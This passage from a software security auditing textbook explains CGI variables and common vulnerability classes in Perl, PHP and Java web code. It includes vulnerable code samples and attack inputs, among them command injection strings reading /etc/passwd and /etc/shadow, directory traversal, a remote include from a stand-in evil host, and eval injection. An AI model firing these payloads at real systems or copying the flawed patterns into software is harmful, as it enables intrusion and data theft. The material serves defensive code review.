these applications. Chapter 17(? [????.]) covered the common threads and vulnerability classes you need to be familiar with. However, the choice of platform can have a major impact on what vulnerabilities are more prevalent and how they show up. So the remainder of this chapter discusses the subtleties of the most popular platforms. This information is not exhaustive, but it should give you a foundation for identifying vulnerabilities in applications built on these platforms. 8.5.4 CGI The Common Gateway Interface (CGI) standard specifies how a normal, run-of-the-mill executable interacts with a Web server to create dynamic Web content. It lays out how the two programs can use the features of their runtime environment to communicate everything necessary about a HTTP request and response. Specifically, the CGI program takes input about the HTTP request through its environment variables, its command line, and its standard input, and it returns all its HTTP response instructions and data over its standard output. It's unlikely you'll need to review the security of a straightforward CGI application, as it's been obsolete as a dynamic Web programming technique for at least a decade. However, modern Web technology borrows so much from the CGI interface, both implicitly and explicitly, that it's worthwhile to cover the technical nuances that are still around today. The following sections focus on the artifacts that are still causing security headaches for Web developers. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1093 Indexed Queries In the CGI model, most of the information about the incoming HTTP request is placed in the CGI program's environment variables. They are covered in detail in the next section, but they will probably seem familiar to you, with names such as QUERY_STRING and SERVER_NAME. Most people are aware that the CGI program's standard input (stdin) is used to send the body of the HTTP request, which is generally referred to as "POSTing data." CGI uses its standard output to communicate its HTTP response to the Web server. Next, look at the command-line arguments. You've probably assumed that the GET query string parameters are passed over the command line. It turns out, however, that this assumption is almost entirely wrong. The query string is always in the QUERY_STRING environment variable, but it's almost never passed over the command line. This contention probably seems flat wrong to anyone who has witnessed the efficacy of URLs such as the following: GET /scripts/..%c1%c1../winnt/system32/cmd.exe?/c+dir+c:\ This Unicode attack works because it inadvertently initiates an antiquated form of HTTP request called an "indexed query." Indexed queries are old: They predate HTML forms and today's GET and POST methods. (At one point, they were almost added to the HTTP specification as the TEXTSEARCH query, but they never made it into the final draft.) Before HTML had input boxes and buttons, you could place only a search box on your Web site by using the <ISINDEX> tag on your page. It causes a single input text box to be placed on your site, and still works if you want to see it in action. If a user enters data in the box and presses Enter, the Web browser issues an indexed query to the page. As an example, entering the string "jump car cake door" causes the browser to send the following query: GET /name/of/the/page.exe?jump+car+cake+door The Web server interprets this indexed query by running page.exe with an argument array argv[] of {"page.exe", "jump", "car", "cake", "door"}. The original string delimiter was the addition sign, not the ampersand, but other than that, it's close to the query string mechanism used today. So when a contemporary Web server sees a request with a query string, it checks to see whether it's an indexed query. If the query string contains an unescaped equal sign (=), the Web server decides it's a normal GET query string request, puts the query string in the QUERY_STRING environment variable, and doesn't pass any command-line arguments to the CGI program. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1094 If the Web server sees a query string without an equal sign, it assumes it's an indexed query. It still places the entire query string in QUERY_STRING, but it also sets up command-line arguments for running the CGI program. Environment Variables Most of the information about a Web request is communicated through environment variables in the CGI model. It's important to have a grasp of these variables because they have been carried through into most new Web technology. In fact, a few subtly confusing variables inherited from the CGI interface still trip up new developers. Some variables are straightforward pieces of data that are copied straight out of the client's HTTP request, and the Web server fills out other variables to explain its runtime environment and configuration. Finally, some variables contain analysis and interpretation of the request. The Web server performs analysis and processing of the request to reach the point where it decides it should call a CGI program. Some of this analysis is passed on to the CGI, and it's usually these variables that cause problems because of their nuanced nature. Static Variables Start with the variables that stay the same across multiple requests:  GATEWAY_INTERFACE This variable tells the CGI program what version of the CGI interface the Web server is using, such as CGI/1.1.  SERVER_SOFTWARE This variable is the name and version of the Web server managing the CGI gatewayfor example, Apache 1.32.3. Straightforward Request Variables These variables vary depending on the HTTP request, but they are fairly straightforward in how they get their information and what they mean:  REMOTE_ADDR This variable is the IP address of the machine sending the request to the Web server. It's often the IP address of a load-balancer or proxy appliance, if these devices are in use.  REMOTE_HOST This variable is the fully qualified domain name of the host sending the request to the server, if it's available. Again, it isn't always the real client's hostname; it could refer to a proxy server.  REMOTE_IDENT If the Web server queries the IDENT server on the client and gets a response indicating the client's username, that name is placed in this variable.  CONTENT_LENGTH This variable contains the number of bytes the Web server is going to send over stdin to the CGI program. It's the size of the content data of the HTTP requestfor example, 10000, meaning 10,000 bytes. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1095  CONTENT_TYPE This variable is the media type of the request body data sent over stdin, such as application/x-www-form-urlencoded. If the server can't figure it out from the request, it can omit it.  AUTH_TYPE This variable tells the CGI which type of HTTP authentication the user requested, if any. The Web server parses this valueBasic, for examplefrom the Authorization header field.  REMOTE_USER If the user authenticates with HTTP authentication, this variable is the username. Otherwise, it's undefined.  REQUEST_METHOD This variable is the HTTP method the client used, such as GET, POST, or TRACE. Parroted Request Variables For every HTTP request line the Web server sees, it translates it into an appropriate environment variable name and passes it on to the application. For example, an HTTP request header contains the following User-Agent tag: User-Agent: AwesomeWebBrowser/1.5 The CGI engine converts the variable name to all uppercase letters. It then converts any hyphen characters into underscores, and finally adds HTTP_ to the beginning of all automatically converted request header fields. So you end up with the environment variable HTTP_USER_AGENT set to the value AwesomeWebBrowser/1.5. The Web server puts a few request header fields, such as Content-Length and Content-Type, into the core environment variables, so it doesn't need to convert those request header fields and duplicate the information. Also, CGI engines shouldn't translate a few request header fields for security reasons, such as the base64 authorization data users provide. This makes sense; if the Web server is handling authentication and verification of credentials, there's no reason to expose usernames and passwords to the CGI script as well. Synthesized Request Variables As the Web server processes a request, it creates more subtle variables. Originally, the CGI system was designed around a straightforward file tree model that assumes a URI refers to a file existing on the file system. This assumption is often untrue in modern applications, as the web server may perform number of path mappings before determining the final URI. In many cases, the server must synthesize the final URI, along with variables and state information that match the CGI programs requirements. When run, the CGI program is told it's being called on behalf of a particular URI, called the script URI. It might be the same URI the client requested, or it could be a The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1096 completely arbitrary fabrication of the Web server. Either way, all the information provided in separate environment variables should appear to refer to a single initial query from the user. These synthesized request variables are described in the following list:  SERVER_NAME This variable is simply the hostname of the Web server. It's listed under synthesized request variables because certain valid requests include a hostname from the client. A fully expressed URL includes the hostname in a GET statement, and the virtual hosting support of most Web servers allows the client to provide a hostname in the request header. So a Web server has some latitude in constructing what CGI sees as the server's hostname. Inge Henriksen, an independent security researcher, discovered that Internet Information Services (IIS) 4, 5, and 6 are malleable in this fashion, and he came up with several situations in which SERVER_NAME is trusted as being immutable (archived at http://secunia.com/advisories/16548/). The attack is simply to change a request like the following: GET /test.asp HTTP/1.0 To this request: GET http://localhost/test.asp HTTP/1.0 ISS trusts the supplied hostname as a reasonable specification of a virtual host, and then certain code that checks to make sure SERVER_NAME is localhost ends up being defeated.  SERVER_PORT This variable is the TCP port on which the request came in. This value should be fairly immutable, too, but it might be influenced by attackers somehow. It's unlikely, however.  SERVER_PROTOCOL This variable specifies the protocol used when the request is submitted by the client. It's usually something like "HTTP/1.1," corresponding roughly to the protocol specified on the first line of an HTTP request.  PATH_INFO This variable refers to a lesser-known technique used to pass arguments to CGI scripts and other dynamically executed code. Say you have a program named compute.exe in your Web tree in the directory /scripts. If someone issues this Web request: GET /scripts/compute.exe HTTP/1.0 it calls your compute.exe program just as you would expect. Here's the request with some PATH_INFO added: GET /scripts/compute.exe/compute_slow/output_blue HTTP/1.0 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1097 This might not be what you'd expect, but the Web server still runs compute.exe. The algorithm that Web servers use stops at the first such solid match when interpreting a pathname. Everything past the matched name is considered additional arguments to the program, called PATH_INFO. So the string /compute_slow/output_blue is provided to compute.exe in the environment variable PATH_INFO.  PATH_TRANSLATED If you think the implicit default support for PATH_INFO in Web servers is odd, you'll wonder what underground lab PATH_TRANSLATED crawled out of. To get the value for PATH_TRANSLATED, the Web server starts by interpreting the PATH_INFO component of the query as a pathname, assuming it's relative to the document root. It then converts that pathname from a virtual Web tree path to an actual path in the underlying file system. It's not immediately obvious why someone would do all this, which makes it even more amazing that it's one of a select few default behaviors of Web servers. This processing comes in useful, however, if you want to use a CGI program as a wrapper or filter to other files or content. Say you have a popular Web page in your Web tree in /cake.html, and you wrote a program that converts files from English to French. You could place the French program on your Web site in the root as well. If users go to www.cakestories.com/French/cake.html, they end up running the French program with a PATH_INFO of /cake.html. So PATH_TRANSLATED takes /cake.html and figures out the physical drive path corresponding to that file. When French runs, its PATH_TRANSLATED environment variable is set to something like /home/jim/jenny/website/htdocs/cake.html. The French program can open that file directly with file system API calls, do its magic, and display the results. PATH_TRANSLATED can be used to make wrapper-type programs as well, assuming you have the support of the Web server. A program based on PATH_TRANSLATED simply opens the file in that environment variable, assuming it's called with that filename. With a little sleight of hand performed by the Web server, the French program doesn't need to be in the Web tree or in the immediate file path.  QUERY_STRING This variable is what it sounds like, which is probably a relief after the previous two environment variables. It's everything in the requested URI past the question mark. For example, say you have a program at /convert.exe, and this request is sent: GET /convert.exe?query HTTP/1.0 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1098 The QUERY_STRING variable is set to query, even though it's an indexed query. It's always set to the query string if there is one. Now consider this request: GET /convert.exe/allthestuff/pathinfoisfun?queryingis/also/fun The PATH_INFO in this request is /allthestuff/pathinfoisfun, and the QUERY_STRING is queryingis/also/fun. The query string is simply everything after the question mark in the URI.  SCRIPT_NAME This variable is a Web path that can be used to identify the CGI that's running. It should not overlap with PATH_INFO or QUERY_STRING, and you should be able to concatenate all three variables to assemble the script URI the CGI program is processing. SCRIPT_NAME has to be a URL a script can use to refer to itself when talking to the Web server. Path Confusion If you think about the exposed functions in the CGI specification, there isn't a lot to help developers who want to know where their application resides in the Web tree and the file system. The odd thing is that the environment variable names sound as though they have a logical purpose toward this end. Most people assume PATH_INFO is the path to the directory where the script resides. They assume PATH_TRANSLATED is simply that pathname mapped to the physical file system. However these variables don't behave even remotely as their names imply. What's amusing is that sometimes developer's get lucky by virtue of circumstance, and their code works well enough to get by even though it uses the variables incorrectly. So CGI path handling provides a historic interface that's quite inconsistent, solves the wrong problems, and is prone to being misunderstood and used incorrectly. Naturally, it has been propagated to every Web technology in some form or another as a universal interface. The following sections explain how some common environment variables have been incorporated into modern Web environments, focusing on PATH_INFO, PATH_TRANSLATED, QUERY_STRING, and SCRIPT_NAME, because they are the most important or baffling. Table 18-1 summarizes these variables. Table 18-1. Common Web Environment Variables Language Interface PATH_INFO: additional path argument information CGI and Perl Environment variable PATH_INFO PHP $_SERVER['PATH_INFO'] ASP and ASP.NET Request.ServerVariables("PATH_INFO") Java and JSP Request.getPathInfo() The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1099 Table 18-1. Common Web Environment Variables Language Interface PATH_TRANSLATED: a filename mapped to the real file system CGI and Perl Environment variable PATH_TRANSLATED PHP $_SERVER['PATH_TRANSLATED'] ASP and ASP.NET Request.ServerVariables("PATH_TRANSLATED") Java and JSP Request.getPathTranslated() QUERY_STRING: everything to the right of the ? CGI and Perl Environment variable QUERY_STRING PHP $_SERVER['QUERY_STRING'], among others ASP and ASP.NET Request.ServerVariables("QUERY_STRING"), among others Java and JSP Request.getQueryString() SCRIPT_NAME: virtual path to the running URI CGI and Perl Environment variable SCRIPT_NAME PHP $_SERVER['SCRIPT_NAME'] ASP and ASP.NET Request.ServerVariables("SCRIPT_NAME") Java and JSP Request.getServletPath() Example of a PATH_INFO-Related Vulnerability One common security mistake is to not consider PATH_INFO information when performing a security check against a filename. If the dynamic code constructs its notion of the SCRIPT_NAME in a way that includes PATH_INFO or a query string, the integrity of that filename can be violated. Here's a real-world example of a security check that went wrong: if (!request.getRequestURI().endsWith("_proc.jsp")){ session.invalidate(); weblogic.servlet.security. ServletAuthentication.logout(request); RequestDispatcher rd = application.getRequestDispatcher( "/sanitized/login.jsp"); rd.forward(request, response); }else{ ... Actual page content ... The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1100 } In this code, the request.getRequestURI() function is used to get the filename of the currently running program, and then the code attempts to check that it's indeed a JSP file. The problem is that the equivalent of SCRIPT_NAME should have been checked; it's retrieved with getServletPath(). The getrequestURI() function is similar, except it includes any PATH_INFO that's present. Therefore, an attacker can avoid the bolded security check by appending extraneous PATH_INFO ending in _proc.jsp. 8.5.5 Perl Perl was a popular language for creating CGI scripts because it was well suited for rapid text-oriented Web programming. It's rarely encountered in new production systems, however; it's mostly been supplanted by PHP, Java, and Microsoft solutions. When present, it's usually confined to smaller one-off pieces of a larger Web application, and the code is often several years old. Perl is an extremely flexible language, designed to give developers many ways to perform a task. A lot of "magic" is involved, with expressions performing nuanced behaviors behind the scenes to make things work smoothly. Needless to say, Perl has plenty of security pitfalls, too. SQL Injection Database access is usually done through the Perl DBI module, although other mechanisms can be used. In general, you should do a non-case-sensitive search for the strings DBI, ODBC, SQL, SELECT, EXECUTE, QUERY, and INSERT to locate database interaction code. The following is a brief example of what vulnerable SQL DBI code looks like in Perl: use DBI; ... $dbh = DBI- >connect("DBI:mysql:test:localhost","test","tpass"); ... $sth = $dbh->prepare("select * from cars where brand='$brand'"); $sth->execute; This code issues a simple vulnerable SQL query to a MySQL database. One interesting point is that this code first prepares and then executes the query. However, the prepared query is vulnerable because the user-supplied data is not bound. File Access The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1101 Perl has flexible mechanisms for accessing the file system, but this flexibility makes these access mechanisms susceptible to user manipulation. The most common way to open a handle to a file is the open() function. It's dangerous to allow users to control parts of a filename string passed to this function, as the filename string can specify the access mode to the file or even tell open() it should spawn a shell and perform a command. These issues are covered at length in Chapter 8(? [????.]), "Strings and Metacharacters." For example, say you have a CGI script that takes a user-supplied variable and places it in $firstname. The following code could be a security disaster: open(MYHANDLE, "$firstname"); Users could specify a filename ending or starting in a pipe character and issue an arbitrary command with a filename such as "cat /etc/shadow|". Users could also open any file on the file system, for reading, writing, or appending. Another important nuance to note is that Perl is susceptible to the NUL byte injection issue. It doesn't treat the NUL-terminating byte as the end of the string, but when its strings are passed to the underlying OS, the OS does honor them. So, if you had code like this: open(MYHANDLE, "/usr/local/myapp/desc/".$firstname.".txt"); Users could specify a $firstname of ../../../../etc/passwd%00, and the code would end up opening /etc/passwd. The well-known security researcher Rain Forest Puppy (RFP) wrote an excellent article introducing the world to this problem, published in Issue 55 of Phrack magazine (www.phrack.org). Shell Invocation Programmers can start a command shell in numerous ways in Perl. Calling open() to open a command shell, as in the previous example, is the most devious case to look for because it usually catches developers by surprise. The system() and exec() functions are more straightforward and perform similarly to their standard library counterparts. Backticks are also an interesting built-in language construct for starting a subshell. So code similar to the following would be vulnerable: $fileinfo= `ls l $filename`; If users specify a filename of "/;cat /etc/passwd", the subshell would honor it as a two-command sequence. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1102 File Inclusion The require() function can be used to read in arbitrary code at runtime, so any situation in which users can modify the file argument to require() is dangerous. The use() function is safer because it's limited to loading Perl modules, and it works at compile time, not runtime. The do() function is used infrequently; It's roughly equivalent to require() in that it loads an external Perl file and runs it through the parser/interpreter. Here's an example of what a vulnerable use of the require statement might look like: # assume $user_language is taken from a cookie my $module = "/usr/local/myapp/localization/conversion_" . $user_language . "pm"; require $module; This code attempts to load in a block of code to handle conversion of output into the correct language. It assumes the language taken from the cookie ($user_language) corresponds to a two-letter code, such as en or fr. If attackers use directory traversal and the NUL-byte injection, they can exploit the code to run any Perl file on the system. Inline Evaluation The eval() function evaluates Perl code dynamically, as does the /e regular expression modifier. If user-malleable data is used in the dynamically constructed code, attackers might be able to run arbitrary Perl. Razvan Dragomirescu, an independent researcher, discovered an instance of this vulnerability in the Majordomo mailing list manager (www.securityfocus.com/bid/2310). Here's the vulnerable code: foreach $i (@array) { $command = "(q~$reply_addr~ =~ $i)"; $result = 1, last if (eval $command); } Attackers can exert just enough control over reply_addr to seize control of the script. Dragomirescu's exploitation technique embedded backticks in the reply address so that the Perl interpreter opened an attacker controlled subshell. The eval() syntax is straightforward, as shown in the previous example. The /e modifier is a bit less common and might be harder to spot. Here's a basic example of how it could be used: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1103 s/\d+/sprintf("%5d",$&)/e; # yields 'abc 246xyz' If an attacker can modify the expression being executed, they can likely compromise the application causing to generate an attacker-controlled command line. Cross-Site Scripting Perl provides the HTML::Entities::encode() function to escape HTML metacharacters, and the URI::Escape::uri_encode() function for handling URLs. The HTML::Entities and URI::Escape modules include some additional interfaces to handle different encodings, among other things. The Apache::TaintRequest module can also be used to prevent reflected cross-site scripting through the Perl taint system. When auditing Perl code, look for the absence of any of these protection methods in code displaying user-malleable HTML. Taint Mode Taint mode is a novel feature of Perl that can be used in Web applications to help buttress their security and diagnose or discover security issues. It marks any external input as potentially tainted. If the program tries to do something sensitive with that input, it encounters an error and halts. Sensitive operations are tasks such as opening files, spawning subshells, dynamically evaluating code, and interacting with the file system, database, or network. The perlsec reference page in your Perl installation is a good place to start for learning more about taint mode. 8.5.6 PHP PHP Hypertext Preprocessor (PHP) is one of the most popular platforms for web development, especially in the open source community. It is available as an Apache module, ISAPI filter, and CGI program, making it one of the most versatile web platforms in use. PHP's low cost, open license, and relatively simple syntax are a major part of its rapid uptake. It is especially popular with junior web developers because it provides a fairly easy transition from static HTML pages to rich dynamic web sites. PHP was originally designed as a simple set of Perl scripts performing basic HTML templating and substitution. However, more than ten years of development and five major revisions have evolved it into a robust object-oriented language with a vast range of libraries and toolkits. Unfortunately PHP's convenience and expansive libraries are also one of its major security issues. Many PHP libraries are simple wrappers around myriad system APIs that behave differently and affect security in ways poorly understood by most developers. PHP's simplicity and rapid uptake have also resulted in a large number of popular toolkits The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1104 developed with little respect for security. Of course, the PHP platform itself is no less secure than any of its competitors. So, with a proper knowledge of the major PHP APIs, you can identify and diagnose potential security issues. SQL Injection Most database interaction in PHP is done through a handful of simple common interfaces. MySQL database interaction typically involves the mysql_connect() and mysql_query() functions. Postgres interaction uses pg_connect() and pg_query(). Microsoft SQL Server uses the mssql_query() family of functions. Here's a typical vulnerable SQL query: $res=mysql_query("SELECT * FROM users WHERE name='" . $_GET["username"] . "'"); This code issues a typical vulnerable query to a MySQL server, although it's not specific to MySQL. All the database-specific interfaces use the same general set of functions. You should search the codebase first to determine which functions are used and attempt to examine all SQL queries. It's worth researching online documentation to gather a list of potential functions, but the short list includes the following:  mysql_query()  mysql_db_query()  mysql_unbuffered_query()  pg_execute()  pg_query()  pg_query_params()  pg_prepare()  pg_send_execute()  pg_send_query()  pg_send_query_params()  pg_send_prepare()  mssql_execute()  mssql_query() In addition, a generic Open Database Connectivity (ODBC) interface is implemented in the odbc_* family of functions. It has a slightly different API, with a SQL query assuming the following form: $query="SELECT * FROM users WHERE name='" . $_GET["username"] . "'"; $result = odbc_exec($conn, $query); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1105 When reviewing code, check all uses of odbc_exec(), odbc_execute(), odbc_do(), and odbc_prepare(). Finally, the PHP Data Objects (PDO) functionality provides an abstraction on top of a database layer. You should be able to isolate SQL queries by looking for calls to the PDO methods exec(), prepare(), and query(). You also need to check the PDOStatement.execute() method to make sure the prepared statement template isn't constructed dynamically. File Access PHP implements most of the C-style standard library calls for file manipulation. The fopen() function is the most common one for opening files, and it has an interface much like C's. Other functions of interest include readfile(), dir(), unlink(), file(), mkdir(), symlink(), and get_file_contents(). The usual tampering concerns apply to PHP's file access functions, and a typical exploitable issue looks something like this: $myfile = "/usr/local/myapp/var/:".$_GET['filename']; $fp = fopen($myfile,"r"); This code results in a straightforward directory traversal attack allowing reading of arbitrary files. PHP is also vulnerable to NUL-byte injection, although it's addressed automatically in certain configurations, depending on global settings. Of course, the developers of PHP couldn't simply let fopen() be relegated to the mere task of opening files on the file system. They stopped short of adding subshell execution as Perl does, but they did add support for handling URLs automatically. So if you use fopen() with a filename of http://www.neohapsis.com/, for example, an HTTP connection is made for you behind the scenes. PHP comes with support for http://, ftp://, and file://. Depending on the build, it can also support https://, ftps://, a few special php:// files, zlib://, compress.zlib://, compress.bzip2://, ssh2.shell://, ssh2.exec://, ssh2.tunnel://, ssh2.sftp://, ogg://, and expect://. This behavior is enabled by default and is disabled by changing the setting of allow_url_fopen in the php.ini configuration file. As you might imagine, this behavior can be very dangerous if an attacker controls the beginning of a filename. At a minimum, the attacker can attempt to get the Web server to make remote network requests, which can be useful for firewall attacks, especially on stateful inspection firewalls that parse application-layer protocols, such as FTP. Attackers might simply be able to take advantage of the Web server's location in the network to perform a nefarious action. For example, they could make requests to administrative interfaces that are firewalled from the outside or even overload protocols to make an FTP or HTTP request be interpreted by a different daemon as valid input. The effects are similar to the XML external entities attack discussed in Chapter 17(? [????.]). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1106 Attackers with control of the beginning of a filename can use any of the methods listed previously to have total control over the file contents the PHP code sees. This control may or may not be a severe security issue, depending on the subsequent code, but it's likely that creative attackers can come up with some form of attack. One special file that's still present if allow_url_fopen is disabled is the php://input file. This special file lets code read the raw data that was sent via POST to the PHP script. Shell Invocation As in Perl, developers can call a command shell in a PHP script in quite a few ways. Backticks open a command shell, so any user-malleable data inside backticks represents a major risk. The exec() function runs an external program through a subshell, so don't mistake it for being similar to an execve()-style system call. The shell_exec() function is equivalent to the backtick operator, and system() is similar to the libc system(): It runs the command through a subshell. The proc_open() and popen() functions are similar to the libc popen() and are used for spawning a subprocess with a pipe. The passthru() function runs a command in a shell and has it replace the currently running process. What's most important to note is that every single API mentioned takes a "command" as the argument, and that command is run through a shell. The PHP function that just uses execve() with a file is pcntl_exec(), and anything else should be examined for metacharacter injection potential. This naming is a little misleading because you would expect functions such as exec() and proc_open() to work like libc execve()-style functions, but they don't. Here's a simple example of a real-world vulnerability in the PHP Ping utility: //************************************* // FUNCTION DU PING //************************************* function PHPing($cible,$pingFile){ exec("ping -a -n 1 $cible >$pingFile", $list); $fd = fopen($pingFile, "r"); while(!feof($fd)) { $ping.= fgets($fd,256); } fclose($fd); return $ping; } //--------------------------------------- ?> The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1107 This issue, discovered by Gregory Lebras of Security Corporation, is straightforward (www.securityfocus.com/bid/7030). Users can insert shell metacharacters in the $cible variable. Therefore, the call to exec() can be used to run arbitrary commands of the attacker's choosing. Here's the example Lebras provided: http://[target]/phpping/index.php?pingto=www.security-corp.org%20|%20d ir ... c:\phpping 03/03/2003 23:01 <DIR> . 03/03/2003 23:01 <DIR> .. 03/03/2003 23:00 <DIR> img 30/04/2002 23:13 3217 index.php 30/04/2002 23:19 921 README 03/03/2003 23:03 0 resultat.ping 3 file(s) 4138 bytes 3 Dir(s) 11413962752 bytes free File Inclusion The require and include language directives are used to include other files in a PHP script. Both resolve dynamically constructed strings, and it's not uncommon for developers to make use of this feature. Any user-supplied input in the included filename can introduce serious security flaws by allowing users to run any file they want through the PHP interpreter. You should also consider the similar functions require_once() and include_once() during code review. PHP is quite vulnerable to this class of security flaw, as the require and include language directives support the flexible URL file opening discussed for the fopen() function. In the default PHP configuration, therefore, the following code would be extremely unsafe: // Now draw the current submenu include ($_GET['submenu']."_code.inc"); Attackers could supply the following for the submenu parameter: http://my.evil.com/evilcode.txt?ignore= The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1108 The PHP interpreter would connect to my.evil.com and make a Web request for the following: GET evilcode.txt?ignore= Then it would take the response from evil.com and run it as a PHP script. In this way, attackers can provide any arbitrary PHP code they want. If the configuration disables allow_url_fopen for security reasons, there's still a potential attack vector. Attackers could specify a filename of php://input, which causes the PHP interpreter to parse and execute the raw data that sent via POST to the PHP script. Inline Evaluation The eval() function evaluates a string as a block of PHP code through the interpreter. User-malleable data in an evaluated string can lead to major security exposures if users can maliciously embed their own PHP code. James Bercegay of Gulftech Research and Development discovered the following vulnerability in the PHPXMLRPC module (www.osvdb.org/17793): // decompose incoming XML into request structure xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, true); xml_set_element_handler($parser, "xmlrpc_se", "xmlrpc_ee"); xml_set_character_data_handler($parser, "xmlrpc_cd"); xml_set_default_handler($parser, "xmlrpc_dh"); if (!xml_parse($parser, $data, 1)) { // return XML error as a faultCode $r=new xmlrpcresp(0, $xmlrpcerrxml+xml_get_error_code($parser), sprintf("XML error: %s at line %d", xml_error_string(xml_get_error_code($parser)), xml_get_current_line_number($parser))); xml_parser_free($parser); } else { xml_parser_free($parser); $m=new xmlrpcmsg($_xh[$parser]['method']); // now add parameters in $plist=""; for($i=0; $i\n"; $plist.="$i - " . $_xh[$parser]['params'][$i]. " \n"; eval('$m->addParam(' . $_xh[$parser]['params'][$i]. ");"); } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1109 This code is a little hard to follow, but basically it parses a user-supplied XML document and then loops through the parameters the user provided. For each loop, it constructs PHP code to call the addParam() method on the xmlrpcmsg object $m. It then uses eval() to call that method. Say the user supplies an XML document with a parameter named bob. The preceding code constructs this string: $m->addParam(bob); It then calls eval() to execute that string. Now say the user supplies a XML document with this parameter name: bob); evil_php_code_here(); exit( The string the code constructs looks like this: $m->addParam(bob); evil_php_code_here(); exit(); The PHP interpreter then executes this string, which probably isn't good. In addition, a form of regular expression implicitly evaluates a dynamically constructed string containing PHP code. The preg_replace() function, when used with an /e regular expression modifier, runs a given piece of code against every match. Stefan Esser, an independent researcher, found a great example of how this function can be vulnerable to code injection issues in the DokuWiki application (www.securityfocus.com/bid/18289). This is the vulnerable code: // don't check links and medialinks for spelling errors ... $string = preg_replace('/\[\[(.*?)(\|(.*?))?(\]\])/e', 'spaceslink("\\1","\\2")',$string); Every time the code encounters characters that match the regular expression, it constructs a piece of PHP code to run to determine what to replace those characters with. If the code encounters [[somestring]], it runs the following code through the PHP interpreter: spaceslink("somestring", ""); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1110 It then replaces [[somestring]] with the result of the spaceslink() function. The attack Esser outlined is to embed this PHP code in the string it's analyzing: [[{${phpinfo()}}]] This code is evaluated as the following: spaceslink("{${phpinfo()}}",""); This evaluation causes the phpinfo() function to be called and its results placed back in the string. From here, the attacker is practically unstoppable. Cross-Site Scripting PHP encodes HTML content using the htmlspecialchars() and htmlentities() functions for normal HTML and the urlencode() function for URLs. You should look for any user-malleable HTML output via other methods including print, echo, and <?= <expression> ?>. Configuration Any PHP security review should always account for the relevant configuration information. Several globally enforced security provisions, explained in the following sections, can dramatically change an application's behavior and vulnerability depending on what the developer or operations staff opted for. These settings can be somewhat intrusive and even break functionality, so it's common for developers to make changes to the configuration as they flesh out the Web application. The register_globals Option A rather dramatic option, register_globals, was enabled in the default PHP configuration until version 4.2.0, when it was disabled because of its security consequences. Shaun Clowes of Secure Reality brought this issue to people's attention, probably causing this default configuration change. His article "A Study in Scarlet" is definitely worth reading if you're going to be doing any security work with PHP (www.securereality.com.au/archives/studyinscarlet.txt). Basically, register_globals automatically takes all variables sent by users and puts them into global variables for the PHP script. So if you add jimbob= to the query string, you have the $jimbob variable with a value of 42. In PHP, you can use variables without ever initializing them because PHP just sets them up in a reasonable initial state the first time they're used. Consequently, many programmers don't explicitly initialize their variables. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1111 You can probably see how the presence of unexpected variables can mess up application security logic. Consider this example borrowed from the PHP manual: <?php if (authenticated_user()) { $authorized = true; } if ($authorized) { include "/highly/sensitive/data.php"; } ?> The end result is that instead of bothering with authentication, attackers can just append authorized= to the query string or place it in a cookie. PHP creates a global variable named $authorized and sets it to the value 1. Then the code fails the first if statement, but the second statement succeeds, and the secret data is displayed. This example seems somewhat contrived, and it wouldn't be a problem if the developer had initialized $authorized or set it to false explicitly on failure. However, it's not uncommon for developers to forget to initialize variables over the course of a large application. Luckily, use of register_globals seems to have fallen out of favor. The magic_quotes Option A global security mechanism called magic_quotes attempts to curb metacharacter injection attacks. The configuration option magic_quotes_gpc (gpc stands for "get, post, and cookie") enables global metacharacter escaping in all GET, POST, and cookie data. This means every quote, double quote, backslash, and NULL character is automatically escaped with a backslash character. This option is actually enabled by default. The magic_quotes_runtime option, disabled by default, does the same escaping on runtime-generated data from external sources, including databases and the OS. Developers often disable the magic_quotes option because it can interfere with functionality and obscure the program's behavior. Even when it's enabled, it's not uniformly effective in preventing trickery. Numeric fields in SQL queries are often prone to tampering, and they can be exploited without needing a single quote character. Also, many applications do some sort of obfuscation or encoding of form variables that renders escaping meaningless. If a variable is in base64, escaping bad characters doesn't accomplish anything because those characters aren't in the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1112 base64 character set. After decoding, the bad characters are reintroduced to the application unless users escape them explicitly. The .inc Files Option It's a common practice to place header and framework files in .inc files. In a common misconfiguration, the Web server doesn't have the correct file handler mapped for the .inc extension. Requesting the include file directly dumps its source code because it's treated like a text or HTML file. 8.5.7 Java The Java Platform Enterprise Edition (formerly J2EE) includes a range of technologies for Web application development. At the most basic level, Java provides the Servlet API (javax.servlet) for interaction between a Web server and Java components. A Java servlet is a Java class that runs inside a Web server and handles the construction of dynamic responses to HTTP requests. The Web server has a component called a servlet engine, or servlet container, that manages these servlets. A Web developer installs a servlet in a Web server's servlet container, and then tells the Web server which URLs and URL patterns that servlet should handle. When a servlet handles a request, it can generate any kind of response it wants; much like a CGI program can generate arbitrary responses. Servlets can also forward requests to other servlets, which allows some interesting application designs. Servlets give you the same kind of basic functionality that Web server APIs provide (such as NSAPI and ISAPI). Even some of the more powerful customizations of proprietary APIs are possible, as the newer versions of the Servlet API allow developers to write filters, which can alter how the Web server handles every request and response. There are important differences between servlet technology and the proprietary Web server APIs. First, the specification for the servlet interface is an open, published standard with a reference implementation. Therefore, nearly every Web server supports servlets in some form or another, which makes them an appealing technology for large projects. Because servlets are written in cross-platform Java, you can (in theory) take servlets written on one platform for one Web server and move them to a completely different platform with a completely different Web server. The use of Java also makes writing these Web server extensions much safer, as Java is not vulnerable to the same memory corruption issues as proprietary C/C++ APIs. 